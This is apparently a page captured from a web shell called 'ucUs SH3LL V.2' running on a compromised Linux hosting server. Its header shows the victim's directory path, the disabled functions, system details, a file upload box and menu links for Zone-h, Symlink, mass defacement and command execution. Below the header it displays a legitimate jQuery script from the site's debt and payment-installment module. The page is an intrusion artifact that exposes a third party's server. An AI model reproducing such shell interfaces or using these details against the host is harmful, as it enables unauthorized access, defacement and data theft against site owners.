Comming ucUs SH3LL V.2

Path : /home/gujo45me/public_html/anmar2/public/js/proforma/
Disable Functions : exec,passthru,shell_exec,system
System : Linux server-604606.appsiete.com 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64

[ Home ][ Zone-h ][ Jumping ][ Symlink ][ Mass Depes ][ Command ]

File Upload :
Current File : /home/gujo45me/public_html/anmar2/public/js/proforma/detalles_deuda.js

$(function () {
    
    $('.btn_anular_deuda').on('click', function() {
        $('#update_modal').modal({
            closable: false,
            onApprove : function() {
              sendForm2();
            }
        }).modal('show');
    });
    
    function sendForm2() {

        var id_proforma = $('#id_proforma').val();

            $.requestApi('/proforma/anular_deuda', {'id_proforma' : id_proforma}, 'POST', function (resolve) {
              if (resolve) {
                  $.showMessages(resolve, true, APP_URL+'/proforma/detalles_deuda/'+$('#id_proforma').val());
              }
        });
            
         return false;
    };

    $('.btn_cobrar_letra').on('click', function() {
      $('#pagar_letra_modal').modal('show'); 
    }); 

    $('#frmLetra').form({
      keyboardShortcuts: false,
      fields: {
        monto: {
            rules: [
              { type : 'empty', prompt : 'Complete este campo'},
              { type   : 'regExp[/^[0-9]+([\.]{1}[0-9]+)?$/]', prompt : 'Ingrese un valor valido'},
            ]
        },
      },
      inline : true,
    });



    $('.btn_registrar_letra').on('click', function() {
        if ($('#frmLetra').form('is valid')) {
            
            $('#register_modal').modal({
              closable: false,
              onApprove : function() {
                sendForm();
              }
            }).modal('show'); 
        } else {
          $('#frmLetra').form('validate form');
        }
    });

    function sendForm() {
        var data = $('#frmLetra').serialize();
          $.requestApi('/proforma/registrar_letra', data, 'POST', function (resolve) {
            if (resolve) {
                $.showMessages(resolve, true, APP_URL+'/proforma/detalles_deuda/'+$('#id_proforma').val());
            }
        }); 

        return false;
    };



    $('.button_delete_modal').on('click', function() {

        var id = $(this).data("id"); 
    
        $('#delete_modal').modal({
            closable: false,
            onApprove : function() {
                sendDelete(id);
            }
        }).modal('show');  
    });        

    function sendDelete(id) {

        var data = {id_detalle_credito : id};

        $.requestApi('/proforma/eliminar_letra', data, 'POST', function (resolve) {
            if (resolve) {
                if (resolve) {
                    $.showMessages(resolve, true, APP_URL+'/proforma/detalles_deuda/'+$('#id_proforma').val());  
                }
            }
        });
        
        return false;
    };   


    $('.btn_imprimir_a4').on('click', function() {
        var id = $(this).data("id");
        window.open(APP_URL+'/../pdf/imprimeReciboA4.php?id_detalle_credito='+id, '_blank');
    }); 

    $('.btn_imprimir_ticket').on('click', function() {
        var id = $(this).data("id");
        window.open(APP_URL+'/../pdf/imprimeReciboTicket.php?id_detalle_credito='+id, '_blank');
    }); 

    $('.btn_imprimir_historial').on('click', function() {
        var id = $(this).data("id");
        window.open(APP_URL+'/../pdf/imprimeHistorialTicket.php?id='+id+'&tipo=PEDIDO', '_blank');
    }); 


});




Copyright © 2019 | Powered By MecUs7